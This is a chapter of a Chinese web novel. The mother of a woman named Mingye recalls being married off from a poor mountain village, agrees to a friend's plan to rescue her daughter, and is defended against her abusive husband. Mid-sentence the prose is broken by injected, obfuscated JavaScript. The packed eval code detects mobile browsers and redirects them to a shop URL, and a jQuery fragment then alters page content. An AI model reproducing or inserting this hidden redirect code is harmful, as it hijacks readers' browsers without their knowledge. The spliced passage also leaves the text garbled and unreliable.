何母原名许晓倩，是林洲人。
林洲地区偏僻，山路崎岖，那里的很多孩子没有上过学读过书，一代又一代好的、坏的习俗完整保留下来传给下一代。
许家人口多，三个女儿，两个儿子。
晓倩是家里最大的孩子。
她很早就学会独立。独立照顾自己，独立做饭，独立拉扯弟弟妹妹。
父母每天早出晚归，晓倩比之更甚。
村里的教书先生说她是读书的好苗子，思想广阔深远，要是能读书肯定能走出大山。
她回家和父母说了读书的事。
不出所料，遭到拒绝，父亲气急败坏指着鼻子骂她：“心野想跑是不是？小丫头片子读什么书！给我在家里待着，等年纪大了说个媒嫁人。”
晓倩很有主意，但她胆子不大，最终也没敢忤逆父母。
嫁人的日子很快到了。
晓倩长得不错，力气还大，干活利索，媒婆收了他父亲的钱，逢来提亲的人便说：“你看这姑娘身段，一瞧便是多子多福的，肯定能生好几个大胖小子。”
村里人愚昧，一时间晓倩成了炙手可热的待娶人选。
父亲很是开心，从其中选了彩礼最多的。
等一切尘埃落定，晓倩才知道自己快要嫁人了。
她有些迷茫，怀里还抱着不会走路的弟弟，身边围着其他弟弟妹妹闹着要立马吃喜糖。
艳阳高照，蝉声作响。
晓倩坐在竹椅上，抱着弟弟的手无意识轻拍哄他入睡，她热出了汗，心里却一片荒凉，过于炙热的阳光让她头脑出现短暂昏沉，脑子里忽地闪过一个念头。
正是这个念头，让晓倩在往后的日子里不断怀疑自己当初做的决定真的对吗？
她从同村人口中得知自己要嫁的是个外地人，那人姓何，叫何远。
何远快三十了还没娶上媳妇，有人建议他去偏远山区碰碰运气。
他来了林洲，这里的彩礼有着隔绝世外的廉价，村里人眼中的高价彩礼放在外面算不得什么。
事情很快定了下来。
晓倩没有反抗，她要靠着这个男人离开这座大山，只要离开这里，她就不用一辈子愚昧老死，她的孩子能读书、识字。
她把自己后半辈子的念想全都和这个未曾见过的男人绑在了一块。
从一座大山跳进了另一座大山。
永远生活在水深火热之中。
她记起村里教书先生对她说的话：“晓倩，你脑子活泛，主意大，但同样有个毛病——认死理。”
晓倩那时不懂先生的意思。
是在结婚很多年，她的女儿因为她的愚蠢所嫁非人时，她突然懂了为什么先生说她认死理。
后来的很多年，晓倩一直在后悔。
“就是在那个热到心寒的午后，我做了人生最后悔的决定，”何母眼角银光闪烁，声音哽咽，“我......完全失去了我的独立，成了一个依附男人才能生存的人。”
“还连累了我的明叶。”
她说着，忍不住轻轻啜泣出声。
舒槐擦去何母泪痕，轻声说：“阿姨，我知道您是心疼叶子的，当年她嫁人，您也做过努力劝过何远。”
现在想想，她们确实都忽略了何母的处境和想法。
一个人在世俗的环境下长大，多少会有点耳濡目染，受影响。思想并不能一朝一夕就能完全转变，它需要沉淀，需要伤痛，需要死心。
望着何母衰败又枯萎的面容，舒槐想，现在是个好机会。
何远在院子里吸烟，舒槐把何明叶的情况和她说了一遍。
何母听完只觉一阵头晕眼花，差点坐不稳倒下，幸好舒槐及时拉住。
“小舒......你说明叶怎么这么命苦，摊上这么对父母，又......摊上这么个......畜牲。”
何母面色苍白，嘴唇嗫嚅：“都是我做的孽，我做的孽啊......”
眼角闪烁的泪花终是化作两行热泪滑下，她挣扎着坐好，使劲用僵硬的袖子擦干泪：“小舒，你告诉阿姨要怎么做才能救明叶？”
她神情真挚，言辞恳切。
舒槐跟她说了她和叶子的计划。
“您别担心，叶子这么聪明能干即使换了一个完全陌生的地方也一样能活得很好，也一定能把您照顾好。”
“再说了，还有我。”
“阿姨，相信自己也给叶子一个机会好吗？”
何母低垂着头，看见自己臃肿的双手，每天夜里又冷又烫又痒，活了多少年，她手上的冻疮就跟了她多少年。
舒槐拿出何明叶给何母的袋子：“叶子给您的。”
袋子打开，是一件带毛领的羽绒服，还有一双羊绒手套。
何母突然捂住嘴，怕被何远听见哭声。
“妈妈，等我长大赚钱了一定给你买好多好多漂亮衣服。”
“好啊。”
“还要给你买个大房子，带暖气的那种，每天都有热水。”
“谢谢明叶。”
何母答应了。
舒槐给她戴上手套，她想，这回晓倩的手该被暖热了。
晓倩心里担心明叶，舒槐让她放心，她会盯紧张峰。
等她们说完，何远从门外进来，见厕所里的衣服还没洗完，脸一下子拉了下来：“干什么吃的，几件衣服洗一个上午还没洗好，是不是想偷懒？”
何远说着说着怒气上来，这段时间张峰不给他钱，儿子也不回家，堆积的怨气全都发泄在晓倩身上。
他抄起墙边的扫把就要打过来，被舒槐拦下。
“叔，别生气，这不是我来了阿姨陪我聊会儿才耽误的，”她皮笑肉不笑，握着何远手腕的手使了大劲，疼得何远瞬间卸了力，扫把掉在地上，“一会儿我来洗，您先歇着。”
何远鼻子里发出一声冷哼，气哄哄出门。
舒槐收起笑，隔着距离狠狠在他背后锤了几下，翻了大大的白眼。
老东西。
要不是看在叶子和阿姨的面子上，早把你打了，在这儿跟我阴阳怪气动手打人。
我呸。
“小舒，你快回去吧。”何母显然习惯刚才那样的场景，没有过多波澜，怕舒槐吓着，让她先回去。
“不行，”舒槐起身走到洗衣盆边，撸起袖子就要伸进冷水里，被晓倩赶紧制止，“这可不行，哪能让你洗衣服，这水可冷，使不得。”
“您的手都那样了怎么洗？”
“我来，很快就好。”
舒槐推走晓倩，想到什么，笑着说道：“以前我来找叶子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667148|188481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩，睡觉的时候不小心尿床，还是您帮我洗的衣服和床单。”她宽慰她。
她一说，晓倩笑了起来：“是呀，你们当时还只有那么点高。”她伸出手，比了个高度。
水盆里的水阴冷刺骨，比舒槐想象得更加寒冷，刚放进去，她就想拿出来。也不知道这么多年，晓倩怎么过来的。
怕晓倩察觉，舒槐愣是装成没事人，镇静自若地揉搓起来。
口袋里的小雀不知什么时候醒来，趴在口袋边缘静静陪着她洗衣服。舒槐的手很快红了起来，小雀眨眨眼，悄悄飞了出去。
很快，院子里传来何远的怒喝：“哪来的死鸟，居然在我头上拉屎！”
他气急败坏追着那鸟跑了几步，见鸟没影了，他才放弃，去了另一个厕所洗头。
舒槐和晓倩相视一笑。
她侧目看了一眼口袋里的小雀，它正板着头看她，舒槐笑笑，朝它隔空投去一个飞吻。
——
从晓倩家出来，快到中午。
冬日的太阳虽然明亮，但没什么温度，照在人身上，依然冷飕飕。
舒槐强忍冷意，一直到出了门才鬼哭狼嚎叫起来：“啊啊啊，冷死了冷死了，手都快被冻得没感觉了。”
她使劲甩着红通通的双手，不停哈气，钻心的冷意停留在骨头缝里不肯轻易离去。
小雀飞了出来，停在她肩膀冷冷嘲笑：“还逞英雄吗？”
“怎么能叫逞英雄呢？你是没看见阿姨的手，简直惨不忍睹，烂的烂，肿的肿。”
“所以，你不怕自己也这样？”
“笑死，长这么大根本不知道冻疮是什么！”
“......冻死你活该，蠢女人。”
“干什么又骂我？”
小雀骂人一点不嘴下留情，见她冷得龇牙咧嘴，默了默，从她肩头飞下去，最大限度地张开翅膀笼罩她双手，用自己的体温一点点驱散寒冷，输送热气。
突如其来的温暖让舒槐舒服地眯起眼，透骨的冷很快被化开，失去知觉的手慢慢回温。
小雀是个嘴硬心软的人呢。
她抬高手和小雀对视，有感而发来了句：“爱你。”
“......恶心。”
“刚才那老东西头上的鸟粪是你做的吧。”她用的肯定句。
“干得好，正烦没法出气，你这一拉，排出了我心里的火气，爽——”
小雀不说话，肚子被她的手冷得打颤，身体轻微颤抖起来。
舒槐注意到：“我不冷了，你赶紧回我口袋暖和暖和。”
小雀用脸贴了贴她手背，见温度正常，手也不再僵硬便飞回口袋。
走在路上，舒槐踩着雪，说着：“一冷一热，你会不会窜稀啊？要是这样的话，我赶紧掉头，你再飞回去拉那老东西头上。”
“......”
舒槐说着说着，自己乐笑了。
她一路走一路说，小雀大部分时间都不说话，安静听着。
“你说我们俩这样一直待在一起是不是也挺好的？”说了一堆无关紧要的话，她突然没头没脑说了这么一句。
以为也不会得到回应，她也不在意，打算继续自己的话匣子。
却在下一秒，听到小雀“嗯”了一声。
是挺好的。